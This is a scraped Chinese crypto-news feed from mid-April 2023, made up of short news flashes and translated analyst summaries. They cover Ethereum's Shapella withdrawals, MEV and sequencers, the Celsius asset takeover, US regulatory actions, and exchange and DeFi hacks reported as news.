赛道，各家也都使出浑身解数，想方设法的创新产品和玩法，以抢占 NFT 市场份额。 Sui公链技术特性分析：为什么适合DeFi项目部署？ 本文将向大家展示SUI Network 和Defi 开发的适配性，为什么创业者会选择在SUI 上构建Defi 项目？ 从账户抽象(AA) 到 ERC4337，新一代Web3合约金库 账户抽象代表了以太坊生态系统的重大进步，增强了其安全性和价值。它引入了一种新的范例，使区块链账户变得可编程，这对去中心化应用程序 (dApp) 开发具有深远的影响。在本文中，我们将深入了解帐户抽象的优越性，以及以太坊 ERC-4337 目前是怎样模拟账户抽象的，并将探索如何通过AA帮助构建新一代WEB3 DApp的未来前景。 解读闪电网络LDK新功能：更便捷的节点设置和异步支付的设想 在本次LDK路线图更新中，可以窥见闪电网络在迈入面向用户需求进行开发的新阶段，随着比特币生态的进一步发展，尤其是对NFT、流支付、社交产品等更多的支持，闪电网络有望迎来真正的繁荣期。 解读5大去中心化排序器项目：Espresso Sequencer、SUAVE、Polygon PoE、EigenLayer 和 Cosmos ICS 本文将介绍各种去中心化排序器项目，包括：Espresso Sequencer、SUAVE、Polygon PoE、EigenLayer 和 Cosmos ICS。 杭州市与香港正式签署Web3产业联动备忘录 独家：Hashkey Group旗下合规交易所Hashkey Pro即将上线 比特币短时突破30000美元，创2022年6月以来新高 FTX破产律师：已收回73亿美元流动资产，交易所或将重新开放 歌星林俊杰所购Decentraland虚拟地产已浮亏91% NBA将在鲸探发行可变数字藏品，预计发售日期为4月14日和16日 Mysten Labs联创：SUI没有空投或永远不会有，请谨防诈骗 Tether CTO：公司一季度利润已超7亿美元 香港众安银行将通过持牌交易所提供加密货币到法定货币的兑换服务 美国SEC已正式向孙宇晨发出电子传票 安全公司：Yearn Finance项目疑似遭受攻击，黑客获利超1000万美元 币安已更新用户ETH存款地址，不要使用旧地址否则资产可能会丢失  ( 3 min )
    BitPay已支持用户使用Apple Pay购买ETH
    PANews 4月15日消息，BitPay推特发文称，现已支持用户使用Apple Pay来购买ETH。  ( 1 min )
    OKX Jumpstart将于4月23日开启SUI新币销售
    PANews 4月15日消息，据官方消息，欧易OKX Jumpstart将于2023年4月23日开启SUI新币销售，本期活动将首次采用认购抽签模式进行。公开销售总量为2.25亿枚SUI，销售价格为1 Sui=0.1美元，支付币种为OKB。同时针对Sui生态的贡献者，额外开启白名单销售。白名单销售只面向Sui生态的贡献者开放。认购时间为北京时间4月23日10点至4月24日10点。认购结束后，系统将进行随机抽签，并在当天派发给参与用户。  ( 1 min )

  • Open

    【英文】以太坊生态周报：以太坊主网完成 Shapella 升级、坎昆升级范围待确定
    Chainfeeds 导读： 速览以太坊生态系统、开发及应用一周重要讯息。本周重点内容：以太坊主网完成 Shapella 升级，质押提款服务已经开启；上海升级首个公共测试网 zhejiang 将于 4 月 19 日下线；坎昆升级的范围将在下一次 ACDE 电话会议上进行讨论；以太坊基金会研究员 ansgar.eth 提议将 danksharding 改名为 dankscaling。 文章来源： https://weekinethereumnews.com/week-in-ethereum-news-april-15-2023/ 文章作者： abcoathup.eth  ( 8 min )
    【英文长推】探索 ve (3,3) 集中流动性实施方案：如何实现可持续发展飞轮？
    Chainfeeds 导读： 集中流动性有多种不同实现方式，但很少有项目能够对它实施良好的收入分享和代币经济学，大部分收入都直接归属于流动性提供者。那么协议究竟该如何盈利？加密研究员 slappjakke.eth 对 ve (3,3) 模型的集中流动性进行了深入研究，并对 Thena 和 Velodrome 的构建方式进行了解读。 文章来源： https://twitter.com/Slappjakke/status/1646839236409298944 文章作者： slappjakke.eth 观点： slappjakke.eth：ve (3,3) 模型中，用户将代币锁定为 veTOKEN 从而获得投票权，代币释放由投票者控制，投票者收到交易费用和贿赂后对财库进行投票，协议用户支付贿赂并获得流动性。贿赂 / 费用 的资本效率指的是每一美元的贿赂费用可以获得多少美元的释放。通常情况下，早期 ve (3,3) 模型项目为 3 至 10 倍，对于更成熟的项目，资本效率在 2 至 3 倍之间。【原文为英文】 内容来源 slappjakke.eth：ve (3,3) 需要自我维持的飞轮。协议的策略一般是努力贿赂以开启集中流动性池、收费维持释放量、随着费用增加逐渐减少贿赂。如果进展顺利，TVL 将会增加并为下个飞轮提供更多费用，至少理论上是这样的。但也有很多因素会减缓飞轮发展的速度，例如费用和释放之间的延迟及释放价格下降。【原文为英文】 内容来源 slappjakke.eth：BNB 链上的 Thena 选择通过使用用于自动 LP 管理的 gammastrategies 使得普通用户获得集中流动性。而 Optimism 上的 Velodrome 则通过构建可调整费用的集中流动性实施方案将释放量根据 LP 规模、流动性范围等因素分配给 LP。Uniswap 的协议收入 100% 都归属于 LP，而 ve (3,3) 模型项目与集中流动性捕捉到的费用基本都归于 veTOKEN 持有者，这意味着产生的费用将给代币持有者带来直接价值。当然还需要考虑代币释放，所以这并不是真正的收益。但根据我的经验，收入增加通常会导致对代币需求的增加。【原文为英文】 内容来源  ( 2 min )
    【英文长推】关于 MEV 及中心化排序器的讨论
    Chainfeeds 导读： Layer2 中心化排序器究竟能不能提取 MEV？发展最佳路径是什么？应该专注于用户还是利润？加密研究员撰文 francesco 撰文将 L2 排序器和 L1 MEV 市场进行分析，并提出了一个关于缓解 MEV 的策略。 文章来源： https://twitter.com/francescoglt/status/1646875996925333504 文章作者： francesco 观点： francesco：MEV 主要涉及三个行为这，用户、提议者及搜索者。但其存在的问题是每个人都可能在监控和分析交易，搜索者可能会试图在用户交易中提取价值，这就导致了所谓的「优先 Gas 拍卖」，搜索者相互竞价以让他们的交易被提议者包括在内。这就导致了两个问题，浪费 Gas 和区块空间及不受限制的 MEV。【原文为英文】 内容来源 francesco：L2 中的排序器扮演者 L1 提议者和构建者的角色。一般会根据可以提取的价值对交易进行排序。L2 的实际情况是，当用户发送交易时，排序器会在 250 毫秒内创建一个区块，并将其发布在 feed 中。而排序器数据 feed 主要是为了将交易待定列表发布给外部服务提供商，搜索者也可以连接至该数据 feed 中实时发布交易数据，并找到具有 MEV 机会的相关交易，进行回溯交易并将其发送给排序器，这就是「延迟游戏」，类似于搜索竞赛。【原文为英文】 内容来源 francesco：如何成功缓解 MEV？或许可以通过将最高费用优先和先到先得相结合。用户向排序器提供交易，排序器传递给搜索者，搜索者捆绑提取 MEV，参与拍卖并提交捆绑，然后向排序器支付费用，排序器采纳任何捆绑支付最多的并进行确认。这种方式可以实现快速确认、开放搜索市场及可配置的 MEV 等优势。【原文为英文】 内容来源  ( 2 min )
    NexGen：加密世界十个潜在的创新浪潮与方向
    Chainfeeds 导读： NexGen Venture 是一家规模超千万美元的基金，撰文总结了关于 2023 年及以后加密世界潜在的 10 点创新浪潮与方向。中文版本由 ForesightNews 编译发布。 文章来源： https://foresightnews.pro/article/detail/30694 文章作者： NexGen 观点： NexGen：1）就区块链的内部结构和性能而言，我们可以期待 Layer 2 中的 Rollup 技术将继续发展，特别是 app-Rollup 生态系统。Restaking 可以利用提现凭证的权利和价值及以太坊质押资产的高安全性和去中心化特点来支持其他协议的开发。 随着越来越多的更多的跨链 MEV 机会，更多 MEV 也将会被利用；2）跨链的互操作性对于提高可扩展性和可组合性至关重要；3）零知识技术将带来外包可验证计算和私有计算两个功能。我们预计，ZKP 特定的硬件和其他优化将是未来将 ZK 应用程序推广至大众采用中至关重要的因素； 内容来源 NexGen：4）我们可以期待在下一轮中出现更多的区块链开发者工具包或平台，这将帮助开发者轻松构建链上协议和项目，降低监控和操作管理的相关成本；5）2023 年的 DeFi 领域中我们预计将出现几个关键的发展和趋势，包括 CEX 向 DEX 的转变及流动性供应和借贷平台的发展及 DeFi 聚合器的崛起和稳定币的发展；6）我们也预计会出现一些新的趋势，比如从过度抵押贷款到低抵押贷款，甚至到无抵押贷款。新的衍生品也备受期待，如策略产品和结构化金融产品； 内容来源 NexGen：7）NFT 市场预计在未来的周期内会重点关注用户所有权和共识社区，这有望推动忠诚度得分项目等；8）我们期待 Web3 协议重新制定内容分发，并且建立社交 / 社区 dApp，同时我们也期望社区工具包能够增强 Web3 社区内的有效协调和运作。此外，我们期望 AI 生成内容相关的创作者经济可以通过技术降低门槛、降低成本并提高效率；9）我们预计 GameFi 基础设施的进步将改善分布式云计算和渲染，并构建强大的 SDK 来管理游戏内的 NFT，我们也期待 GameFi 的多样化类型发展；10）在 2022 年发生了几次灾难性的崩溃事件之后，合规和安全成为焦点。 内容来源  ( 19 min )
    【英文长推】Galaxy Digital 研究员：你需要知道的关于以太坊提款的几个常见误解
    Chainfeeds 导读： 以太坊上海升级启动后，提款服务也已经全面展开。Galaxy Digital 研究员 Christine Kim 针对目前市场上的提款活动及一些仪表盘数据，为大家阐述了几个需要避免的常见误解。 文章来源： https://twitter.com/christine_dkim/status/1646916343952703488 文章作者： Christine Kim（Galaxy Digital） 观点： Christine Kim（Galaxy Digital）：1）自 4 月 12 日起已经有约 306,000 枚 ETH 被提取，约 160,000 枚 ETH 存入 Beacon 合约。我们可以看到尽管退出的验证者数量很多，但也有大量新的验证者将资金存入 Beacon 链；2）在以太坊上处理的大部分提款都是部分提款，并非全额提款；3）还需要注意的是，奖励的提款是自动发生的，拥有正确证书类型的验证者将会每 100 小时自动提取奖励；【原文为英文】 内容来源 Christine Kim（Galaxy Digital）：4）上海升级启动之后的前 24 小时内，以太坊上处理的全额提款中约 97% 都是由加密交易所 Kraken 发起的。今年早些时候，由于美国证券交易委员会的执法行动，Kraken 被迫关闭了他们的质押服务；5）虽然上海升级对以太坊的直接影响在很多方面都是看涨的，但随着未来几天和几周的发展，监测网络健康活动及监测流动性质押代币赎回的情况将很重要。【原文为英文】 内容来源  ( 2 min )
    【英文】重新审视跨链桥设计空间：模块化世界中的跨链桥应该是什么样子的？
    Chainfeeds 导读： Catalyst 构建者 Jim 撰文概述了模块化世界中跨链桥的变化过程、并模块化桥接的用例及共享安全性等内容进行了梳理。Catalyst 贡献者 Jim 表示现在比以往任何时候都需要优先考虑跨链桥的安全性和可扩展设计，因为跨链桥包含了加密领域的一切。 文章来源： https://0xjim.medium.com/revisiting-bridges-d6c09dfbb0cb 文章作者： 0xjim 观点： 0xjim：模块化世界中的跨链桥增加了跨链交易的复杂性。单片式区块链具有同质的状态，能够让状态转换的验证变得简单，但模块化区块链需要验证 3 至 4 个独立组件。因此，跨链桥需要各种轻型客户端来验证模块化区块链堆栈的各个层，包括执行、交易排序、数据可用性及结算。模块化互操作性协议可以有共享的应用层和传输层及可配置验证。【原文为英文】 内容来源 0xjim：跨链桥使用 5 种方式来验证交易，包括直接外部验证、Optimistic 外部验证、共识证明、欺诈证明和有效性证明。在模块化世界里，跨链桥必须与区块链堆栈的各个部分混合匹配验证方法。 Sovereign 提出了一种新模式，绕过结算层实现了快速最终性，根据 Rolluop 自定义分叉选择规则为每个后续区块生成递归证明，创建实时有效性证明。而 zkSync Hyperbridges 和 Starkware 上的 Slush 是有效性证明结合共享结算。但这种方法的一个问题是延迟。【原文为英文】 内容来源 0xjim：共享安全性可以减少单链启动和维护其自身安全措施的需要，网装安全实现了两个域之间的双向安全衍生，可以验证彼此的状态和 DA。跨链桥可以运行 EigenLayer 和 Babylon 的轻型客户端以确保共享安全通信。多个跨链桥和互操作性协议的客户端可以提供多样性和冗余性。例如 GnosisDAO 提出的促进跨链安全的新机制 Hashi，为跨链桥提供了一个更具弹性的方法。【原文为英文】 内容来源  ( 24 min )
    数字资产投资公司 NovaWulf 将接管 Celsius Network 所有资产并对其股权进行代币化
    数字资产投资公司 NovaWulf 将接管 Celsius Network 所有资产并对其股权进行代币化 数字资产投资公司 NovaWulf 计划接管 Celsius Network 所有资产，并在其债权人得到赔偿后将剩余资产转入一家新公司。新公司将会有一个新名字和一个由 NovaWulf 和官方债权人委员会选择的新董事会，NovaWulf 将管理新公司五年，并会将股权代币化后放在 Provenance 区块链上进行交易。该计划可能最快于 6 月 30 日生效。据悉，NovaWulf 已经承诺在交易中投入 4500 万美元，但其将管理的 Celesius 资产价值可能高达 20 亿美元，包括 Celsius 挖矿部门、贷款组合、抵押的加密货币和其他替代性投资。 据 CoinDesk 介绍，NovaWulf 与 TeraWulf（WULF）有关，后者是一家矿业公司。 内容来源  ( 31 min )
    Solana 基金会引入可转换赠款和投资以扩大其资本部署战略
    Solana 基金会引入可转换赠款和投资以扩大其资本部署战略 Solana 基金会宣布正在扩大其资本部署战略，通过可转换赠款和投资支持 Solana 生态系统。Solana 基金会表示，赠款一直是基金会用来支持 Solana 生态系统公共产品的主要机制。但由于资助项目的局限性，基金会通常无法支持那些使社区受益的项目。可转换赠款是只有在项目达到某些里程碑时才会转换为投资的赠款，更适合基于 Solana 构建的营利性公司，这些项目可以直接或间接推进其目标以促进 Solana 网络的采用、实用性、去中心化或安全性，但可能不是公共产品。 内容来源  ( 4 min )
    Mysten Labs 以约 9600 万美元的价格回购了 FTX 持有股权和 SUI 代币购买权
    Mysten Labs 以约 9600 万美元的价格回购了 FTX 持有股权和 SUI 代币购买权 Sui 开发公司 Mysten Labs 以约 9600 万美元的价格完成对 FTX 持有的股权和 SUI 代币购买权的回购。据悉，此次回购的股份有一部分是 Mysten Labs 在 2022 年 9 月宣布的 3 亿美元 B 轮融资。 内容来源 观点： Evan Cheng（Mysten Labs 联合创始人兼 CEO）：我们非常高兴完成这项交易，这说明我们对我们的能力、技术和伙伴关系有巨大的信心，同时也使我们能够保持我们的业务运营方式的灵活性。我们期待着继续扩大我们的平台，并与世界上最激动人心和最具创新性的 Web3 公司一起建设【原文为英文】 内容来源  ( 6 min )

  • Open

    NovaWulf计划接管Celsius全部资产并将新公司股权代币化
    PANews 4月15日消息，据CoinDesk报道，数字资产投资公司NovaWulf计划接管已破产加密借贷平台Celsius Network的所有资产，并在其债权人得到偿付后将剩余资产转入一家新公司。NovaWulf将管理新公司五年，新公司将使用新名称并任命新董事会，并将股权进行代币化。董事会将由NovaWulf和官方债权人委员会选出。该计划最快将于6月30日生效。NovaWulf已承诺投入4500万美元，但该公司管理的Celsius资产价值可能高达20亿美元。根据提交给破产法庭的一份报告，股权代币将在Provenance区块链上出售，Figure Technologies还将为代币化证券提供基础设施。  ( 1 min )
    加密支付提供商BitPay向纽约州金融服务部支付100万美元以达成和解协议
    PANews 4月14日消息，据Blockworks报道，加密支付提供商 BitPay 向纽约州金融服务部 (NYSDFS ) 支付 100 万美元以达成和解协议。监管机构的一项调查发现，BitPay 的网络安全和反洗钱计划不符合纽约州金融服务部的规定。BitPay 同意罚款 100 万美元。作为和解的一部分，BitPay 需要在今年 9 月 16 日之前向 NYSDFS 提交行动计划。  ( 1 min )
    OpenAI CEO确认公司没有训练GPT-5，并且“一段时间内不会”
    PANews 4月14日消息，据TheVerge报道，在麻省理工学院的一次活动中，OpenAI首席执行官Sam Altman被问及最近在科技界流传的一封公开信，该公开信要求像OpenAI这样的实验室暂停开发比GPT-4更强大的人工智能系统。Altman表示这封信“缺少关于我们需要暂停的技术细节”，Altman确认该公司目前没有训练GPT-5，且在一段时间内不会进行训练。目前没有开发 GPT-5 对于担心 AI 安全的人来说不会有任何安慰。但该公司仍在扩大 GPT-4 的潜力（例如，通过将其连接到互联网）。  ( 1 min )
    比特小鹿纳斯达克上市交易首日暴跌近30%
    PANews 4月14日消息，吴忌寒旗下矿业公司比特小鹿Bitdeer(BTDR)纳斯达克上市交易首日暴跌近30%，随后回升至下跌20%，然后再次下跌至28%，目前股价位于7.2美元附近。开盘股价为9.7。此外，Bitdeer(BTDR)还因涨跌幅波动异常数次暂停交易。该公司拥有 16.2 EH/s 的哈希算力，仅次于破产的Core Scientific（CORZ），高于 Riot Platforms（RIOT）和Marathon Digital Holdings（MARA）。  ( 1 min )
    美国SEC更新规则，更加明确对数字资产交易平台的监管
    PANews 4月14日消息，据金十报道，美国证券交易委员会周五将修改一项拟议规则，更明确地规定数字资产交易所和去中心化金融平台必须向该监管机构注册。这一计划最初于2022年提出，旨在弥补那些提供证券交易但未注册为交易所或经纪商的平台造成的监管空白。最初的提案没有提到加密货币，但被广泛认为适用于数字资产。这种模糊性引发了Coinbase和Circle等加密货币公司以及该机构自身的一名委员的猛烈批评。周五公布的修订方案明确表示，数字资产交易将被包括在内。  ( 1 min )
    Chia Network已向美SEC秘密提交拟议IPO的注册声明草案
    PANews 4月14日消息，加密存储区块链项目和智能交易平台 Chia Network 宣布已向美国证券交易委员会（SEC）秘密提交一份关于 Form S-1 的注册声明草案，涉及其普通股的拟议首次公开发行（IPO），拟议发行的规模与价格范围尚未确定。IPO 预计将在 SEC 完成审查程序后开始，具体取决于市场和其他条件。  ( 1 min )
    PA日报｜香港启动规模为1000万美元的Web3Hub生态基金；加密交易所Bitrue热钱包遭受攻击
    今日要闻提示： 香港Web3Hub生态基金正式启动，规模为1000万美元 外媒：联合国网络犯罪条约或导致对全球加密货币的全面监控 Amber Group考虑出售日本子公司，并拟申请香港数字资产牌照 马斯克：未来12个月推特不会从创作者的“打赏费”中收取任何费用 加密交易所Bitrue热钱包遭受攻击，损失约2440万美元 Uniswap V3部署至Polygon zkEVM的提案以100%的支持率获得通过 刺杀Cash App创始人Bob Lee的嫌疑人被捕，系与其相识的科技企业家 币安完成第23次BNB季度销毁，共计销毁约202万枚BNB 监管消息 香港财政司长：将推进Web3、虚拟资产等金融创新在监管和便利间取得平衡 据界面新闻报道，香港财政司司长陈茂波今日在参加2023年数字经济峰会时表示，Web3的出现正在引发金融科技的新一轮创新浪潮。香港5年前只有大约180家金融科技公司，现时已有逾800间相关企业，包括跨境金融服务、区块链服务等。虚拟资产、稳定币、DeFi、NFT等。这些技术将在未来几年成为金融转型的主要力量，这是不可逆转的趋势。但与此同时，一些重要的问题出现，例如，是否存在监管漏洞？是否会向传统金融体系传递风险，威胁金融稳定？如何最好地保护个人投资者免受欺诈和诈骗？陈茂波表示，在推进Web3、虚拟资产和其他金融创新方面，香港政府会继续在监管和便利之间取得适当的平衡。港府致力于为金融科技公司的蓬勃发展营造有利环境。 香港Web3Hub生态基金正式启动，规模为1000万美元 在“2023香港Web3嘉年华”分会场四《MetaEra x BitMart 专场：Metaverse的机遇在哪里》分论坛中，香港律政司副司长张国钧发表致辞，宣布启动香港Web3Hub生态基金，规模为1000万美元，将激励更多企业落户香港。结合区块链技能和人工智能提供便捷且具成本效益的安全平台，展望未来，香港要更好地发展一国两制的独特优势，以科技创新驱动香港高质量的发展，同时吸引海内外人才引入。 此外，香港Web3Hub基金行政总裁黄俊瑯表示，将发起规模为1亿美元的Web3生态基金，立足于香港，投资全球的完善项目，还将推动全球Web3规范发展。香港立法会议员邱达根表示，期望在2023或2024年落实加密资产和稳定币监管安排。 银保监会：以元宇宙、虚拟货币、数字藏品等为噱头的集资变种有所抬头 据财联社报道，记者从银保监会相关处获悉，近年来民间投融资、市场零售、养老等领域风险多发，以元宇宙、虚拟货币、数宇藏品等为噱头的集资变种有所抬头，打着科技创新、绿色转型、乡村振兴等政策旗号的集资骗局也在不断滋生。同时，不少犯罪分子通过线上线下结合的方式跨省跨域非法集资，显著加大了风险发现难度。 美CFTC主席：币安故意违反了CFTC的规定 据彭博社报道，美国商品期货交易委员会（CFTC）主席 Rostin Behnam周四在普林斯顿大学举办的一次活动中表示：“币安故意违反了CFTC的规定，如果有人打算在美国提供期货合约，则必须在CFTC注册并遵守法律”。Behnam还重申，以太坊和稳定币都是商品。 此前3月27日消息，美国CFTC将寻求在币安案件中对其实施永久性的交易和注册禁令；对此赵长鹏回应称，币安使用多种手段阻止美国客户，本人从未参与币安Launchpad和期货交易。 外媒：联合国网络犯罪条约或导致对全球加密货币的全面监控 据CoinDesk报道，周二，联合国启动了关于网络犯罪的新国际条约的倒数第二轮谈判。最新草案版本如果被采纳，将对加密货币施加全面的监控要求，并威胁全球的金融隐私。 条约草案第93条要求所有签署条约的国家实施繁重的加密货币金融监管法律。这些法律将适用于任何“从事与数字金融资产和数字货币流通相关活动”的组织，即使它们与传统金融机构完全不同。就像美国参议院提出的数字资产反洗钱法案一样，这种广泛语言可以被解释为包括软件开发人员、托管和自托管钱包提供商、矿工、验证者、节点、不可替代代币、NFT交易平台甚至用户。 谈判已经进行了一年多，预计将在秋季敲定相关版本。来自世界各地的130多个人权组织和学者已经对该条约的人权保护是否充分表示了担忧，科技政策专家也对其打击网络犯罪的有效性提出了质疑。 美国SEC已正式向孙宇晨发出电子传票 法庭文件显示，美国证券交易委员会（SEC）已正式向波场创始人孙宇晨、波场基金会、BitTorrent基金会和BitTorrent(现被称为Rainberry)发出电子传票。据此前消息，SEC上个月表示正在起诉孙宇晨，指控其出售和空投未注册证券、实施欺诈和操纵市场。 NFT 元宇宙 OpenAI正招募移动端工程开发团队，或将推出App 据OpenAI官网显示，其正招募移动端工程开发团队，跨iOS和Android的工程主管年薪为20至 7万美元。据ChatGPT移动工程经理的岗位描述，该职位负责与产品、设计和研究团队以及其他工程团队密切合作，并帮助奠定OpenAI移动开发的基础。 项目动态 Amber Group考虑出售日本子公司，并拟申请香港数字资产牌照 据彭博社报道，加密货币贷款机构Amber Group正在权衡其日本子公司的选择，包括可能的出售，并计划申请香港数字资产牌照。Amber的执行合伙人Annabelle Huang表示，对日本业务的评估是其战略决策的一部分，该战略决定更多地关注机构业务，而不是零售业务。 韩检方发现Do Kwon涉嫌欺诈新证据，Terra崩盘前其曾向某律所汇款90亿韩元 据KBS News报道，韩国检察官发现，在Terra崩盘前不久，Do Kwon曾向韩国一家大型律师事务所Kim & Chang汇款90亿韩元（约700万美元）。检察官正在追踪这笔钱的来源。韩国检察官称，这可以推断，Do Kwon提前意识到了Terra崩溃的可能性，并准备了法律应对措施。这可以作为证明Do Kwon涉嫌欺诈的另一个依据。 Ripple推出面向企业的加密货币流动性平台Ripple Liquidity Hub 据官方博客，Ripple宣布正式推出面向企业的加密货币流动性平台“Ripple Liquidity Hub”，旨在为企业提供简易、无缝的方式来管理其加密货币流动性需求。这是一种独立于其跨境支付解决方案的独立方案，利用其全球网络为合作伙伴提供全球支付渠道。 根据该博客，Ripple Liquidity Hub平台24/7/365全天候可用，利用智能订单路由在多个流动性场所（包括做市商、交易所和场外交易柜台）以优化的价格采购各种数字资产。最初支持美元、BTC、ETH、ETC、BCH和LTC，但未提及XRP。而其在2021年宣布该计划时，曾宣布支持XRP。 HashKey PRO将于第二季度正式上线，已就法币存取款与两家香港银行达成合作 据官网消息，虚拟资产集团HashKey Group宣布，旗下全新的合规交易平台HashKey PRO在第二季度正式上线。HashKey PRO已获得香港证券及期货事务监察委员会（证监会）的批准，持有第1类（证券交易）和第7类（提供自动化交易服务）牌照，运营虚拟资产交易平台。 该平台提供法币出入金支持，允许用户通过SWIFT实现美元直接转账至HashKey PRO法币钱包。目前，HashKey PRO已支持来自全球16个国家地区的银行转账。HashKey PRO目前已经与香港众安银行（ZA Bank）和交通银行（香港）建立了伙伴关系，作为结算银行，提供法币的存款和提款服务。 此前昨日消息，Hashkey Group宣布将推出生态积分HSK，不过HSK仅用于赠送给生态贡献者，不会有任何售卖行为。 币安已更新用户ETH存款地址，不要使用旧地址否则资产可能会丢失 据Web3知识图谱协议0xScope监测，币安刚刚将用户ETH存款地址更新为新的TSS地址。提醒用户不要使用旧存款地址否则资产可能会丢失。 此外根据其分享的页面显示，币安在存款注意栏中写道，用户不要将币安存款地址定义为验证者奖励的接收地址，不支持从节点发送到币安存款地址的验证器奖励。 DWF Labs：代币发至交易所不代表抛售，留在钱包不利于流动性和盈利 针对推特用户质疑DWF Labs抛售代币、洗盘交易一系列，DWF Labs管理合伙人Andrei Grachev发推表示，DWF共购买了810亿枚Floki并将全部发送到交易所，但为了证明没有抛售，已经将570亿枚Floki发送到链上钱包。 此外，他还表示，做市商把代币留在钱包中是最愚蠢的选择，因为其本职工作是创造市场、提供深度、改进订单执行，而不是什么都不做。之所以将代币转到交易所，是因为做市商必须为紧急情况和极端的流动性做好准备，拥有可用库存以实现24/7的流动性目的。此外，做市商和VC应该利用所有合法和可用的解决方案，以便为其投资组合项目和盈利能力带来最大价值，这并不算是洗盘交易。 EOS EVM主网Beta版已上线，并为EOS网络引入新销毁机制 EOS网络基金会在推特上宣布，EOS EVM主网Beta版已上线。EOS EVM的推出也为EOS网络引入了新的销毁机制，RPC节点的利润将100%被销毁。 以太坊基金会研究员披露质押以太坊或会泄露用户IP地址等信息 据Cointelegraph报道，以太坊基金会研究员Justin Drake透露，ETH质押者的IP地址作为元数据集的一部分受到了监控，导致加密社区将此视为以太坊的隐私问题。 Drake称他在“内部”（或是在以太坊基金会）了解到这样的数据库，他解释称：“有很多元数据可被追踪到，你可以查看存款地址、提款地址、费用接收者、以及IP地址。”Drake还表示，这样的数据库可以抵御空投女巫攻击，也或可用于“特殊空投”，即把代币空投给单独质押者，而不是Kraken、Coinbase等机构，或者是某些特定的人。 Uniswap关于“BSL过期后跨链部署和新uniswap.eth子域名创建”的温度检查投票已通过 Uniswap社区关于“商业源代码许可证（BSL）过期后跨链部署和新uniswap.eth子域名创建”提案的温度检查投票已结束，并以100%的支持率获得通过。 根据该提案，Uniswap基金会新任治理主管Erin Koen表示，BSL到期后，为每条链确定一个官方Uniswap V3部署将是有益的，以便为用户提供安全保障并明确Uniswap治理。此外，为了与在BSL到期后推荐的治理流程保持一致。Uniswap基金会建议创建一个新的ENS子域v3-deployments.uniswap.eth，以跟踪Uniswap v3在L1和L2上的官方部署。 ROOK投资者已可使用代币赎回Rook DAO金库中的2500万美元资金 据CoinDesk报道，ROOK维权投资者组成的新实体Incubator DAO已与Rook DAO实际运营者Rook Labs达成协议，将通过购买Rook Labs约60%的金库的管理权，将代币ROOK从项目中分离出来，新的实体旨在清算这些现金。Rook代币已经成为赎回曾属于Rook DAO的约2500万美元金库资金的“门票”，在未来90天内，ROOK代币持有者可以申领。Rook DAO目前已解散。 Incubator DAO的领导者Carl Icahn（化名Wismerhill）表示，代币持有者可以解锁他们对金库的所有权，而Rook Labs团队可以继续从他们项目，而无需承担毫无价值的治理代币的负担。通过智能合约赎回代币的ROOK持有者将获得按比例分享的USDC，再加上一个pROOK代币。Wismerhill表示，在90天结束时，剩余的USDC将在pROOK代币持有者之间分配。 Yearn：yUSDT代币合约中漏洞存在于多个版本，下游协议的流动性提供者仍受影响 Yearn Finance在推特上发布攻击事件调查进展，称如之前所诉，Yearn被攻击的根本原因是遗留在iEarn USDT (yUSDT) 代币合约中的漏洞。这个漏洞存在于多个版本中，并导致多个Curve池（y、busd、pax）被利用和耗尽。将LP代币存入下游协议的流动性提供者仍然受到影响，这包括封装这些受影响的LP的Yearn v2保险库 (2)和旧版v1保险库(2)的用户。在之前的推文中，Yearn表示，当前版本Yearn v2 Vaults不受影响。 此外今晚晚些时候消息，Yearn黑客在攻击过程中偿还了Aave V1版本用户的USDT债务。此前昨日，Yearn Finance项目遭受攻击，黑客获利超1000万美元。 Solana Web3手机Saga将于5月8日公开发售，每台售价1000美元 据官网消息，Solana Web3手机Saga将于5月8日公开发售，预订设备现已发货。Saga可在美国、欧盟、英国、加拿大、瑞士、澳大利亚和新西兰发货。可用性会有所不同，但Saga Pass持有人将优先发货。 据悉，每台Saga售价为1000美元，配备512 GB存储空间，两个后置摄像头镜头，6.67英寸OLED显示屏和指纹解锁，并有仅上架加密应用程序的专门dApp以及存储加密用户私钥实现与手机其他数据分离的安全元件。 刺杀Cash App创始人Bob Lee的嫌疑人被捕，系与其相识的科技企业家 据CNBC报道，经旧金山地区检察官Brooke Jenkins证实，刺杀Cash App创始人Bob Lee的嫌疑人、科技企业家Nima Momeni已被捕。 官方回应称Nima Momeni认识Bob Lee，但不愿就作案动机置评。Nima Momeni将于周五被提审，检察官表示提出一项动议，要求其不得被保释。 此前消息，当地时间4月4日星期二凌晨，Bob Lee在旧金山因刺伤身亡。 Uniswap V3部署至Polygon zkEVM的提案以100%的支持率获得通过 Tally投票页面显示，Uniswap社区的“将Uniswap V3部署至Polygon zkEVM”的治理提案链上投票以100%的支持率获得通过。 加密交易所Bitrue热钱包遭受攻击，损失约2440万美元 据The Block报道，加密交易所Bitrue热钱包遭受攻击，损失约2440万美元的代币。受影响的热钱包不到 Bitrue 总资金的 5%。被盗代币当前保存在以 0x181 开头的地址中。攻击者交换了8,858 个以太币，但保留了大部分被盗的 SHIB 和 HOT 代币。Bitrue 暂时停止所有提款，并计划在 4 月 18 日重新开放。 韩国公链Klaytn将于4月17日销毁总代币供应量的一半 据TechinAsia报道，韩国公链项目Klaytn将在区块高度119,750,400（4月17日）处进行硬分叉升级，同时将销毁大约一半的总供应量代币，大约是52.8亿枚KLAY（价值13亿美元）。被销毁的代币来自Klaytn的国库（总计72.81亿），这些代币是在2019年主网启动期间铸造的。储备中剩余的20亿代币将被保留，用于为未来的生态系统提供资金；但如果未能保证用途，这些代币也将在三年内被烧毁。此外，Klaytn 的原始开发商GroundX正在开发 Klaytn 的加密钱包 Klip 和区块链的 API 服务。 Uniswap移动端钱包在App Store正式上线，此前仅可通过Apple TestFlight使用 Uniswap Labs发推宣布其移动端自托管开源钱包Uniswap Wallet已获Apple批准在全球多个国家/地区的App Store上架，此前仅可通过Apple TestFlight使用。一旦 Apple 允许，将继续在其他国家推出。该钱包支持以太坊、Polygon、Arbitrum和Optimism网络。交易费用为 2.55% ，其它功能包括使用 WalletConnect 连接、查看 NFT、推送通知等。 Mastercard推出NFT门控音乐艺术家加速器计划 万事达卡（Mastercard）宣布了其新的艺术家加速器（Mastercard Artist Accelerator）计划，本次加速器计划增加了 Web3 的变化，即只有持有 NFT 会员通行证才能访问该计划。限量版 Mastercard Music Pass NFT 是解锁 Mastercard Artist Accelerator 计划的关键，这是一个 Web3 平台，可以免费访问教育材料，通过其合作提供独特的人工智能工具，以及提升音乐艺术家创造力的无价体验。免费的限量版 Mastercard Music Pass NFT 将在月底前向音乐和 Web3 粉丝开放。该计划是通过与区块链开发商 Polygon 共同创建，万事达卡寻求利用 Web3 